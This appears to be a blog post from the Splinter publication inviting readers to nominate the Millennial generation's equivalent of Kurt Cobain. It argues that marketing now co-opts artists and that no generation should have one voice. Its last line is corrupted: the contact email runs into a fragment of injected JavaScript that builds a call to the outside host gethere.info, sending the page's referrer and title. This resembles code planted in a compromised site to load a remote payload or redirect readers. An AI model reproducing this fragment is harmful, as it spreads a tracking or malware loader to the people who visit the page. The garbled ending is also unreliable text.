What do you think? Who will be the Millennial generation’s (or, as we like to call it, The Splinter Generation’s) Kurt Cobain? Will there be more than one? Put musical, artistic, and literary nominations — especially artists we haven’t yet heard of — in the comments section. We’ll contact our favorites for interviews.
Over at Metro Spirit, a weekly in Augusta, Georgia, Dakota West asks:
“(W)ho is going to be the voice of “Generation Y?” Will it be Taylor Swift, with “Asking God if he could play it again,” maybe Jay Z with, “Mommy took a bus trip and now she got her bust out, everybody ride her, just like a bus route,” or how about Lady Gaga with, “I won’t tell you that I love you, kiss or hug you, cause I’m bluffin with my muffin.”
I couldn’t agree more. And I hope to God that none of the people she mentions (and I’d add Kanye West, who actually had the gall to declare himself the voice of “this generation”) become canonized by the press into becoming the “voice” of the millennials or Generation Y or The Splinter Generation, as we like to call it.
But more importantly than that, there’s a problem with looking for “a Kurt Cobain.” First, it’s obvious that Kurt wasn’t the only “voice” of Gen X. But that said, I’d say we won’t just see our generation’s “voices” in the realm of celebrity because Kurt was one of the last real artists in the door before everything went to crap. He was one of the last to “make it big,” to become a part of the spectacle, before that door was shut to all except those thoroughly vetted by marketing executives and focus groups.
Remember that “Smells Like Teen Spirit” wasn’t popular until its success on college radio stations compelled MTV’s 120 Minutes (which aired in the middle of the night) to pick it up. Once it was on MTV, there was such an overwhelming grassroots demand for it that it became a Billboard hit. But it wasn’t produced and vetted by corporations, as all the artists being proposed above were, because it came from a grassroots movement. And remember Tupac, another figurehead for Gen X, had his start with Digital Underground before he made it big. Now all new and exciting bands and rappers are coopted, bought out or destroyed by marketers before their real messages have a chance to be heard by the public.
So unless we want Kanye West or Lady Gaga (both of whom I actually like, but only sometimes because of their penchant for selling to the highest bidder) to be canonized as the voice of this generation, we’re going to have to come clean and admit that no generation should have a voice, because having a voice means that millions of other voices are silenced. It also means we have to sell out to the marketing executive who tells us how to coopt the largest number of people.
Says Splinter editor Andrew Panebianco:
“I think the idea of a solid generational sound, while possible maybe fifty years ago (and yes, only if we discount a hell of a lot of other voices), is probably impossible today. We’re too fractured. We are an archipelago rather than a continent.”
So let’s stop letting marketing executives and the media canonize our generational heroes, and lets figure out who some of them are for ourselves. Who would you nominate? Who are your favorite musicians and writers and artists of our generation, those who you think do a great job of speaking to what it means to be young and alive right now?
Put your ideas in the comments section below. We’d love to hear especially about people we’ve never heard of before. And we’d love their contact info, too, if you have it. Send that to firstname.lastname@example.org=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;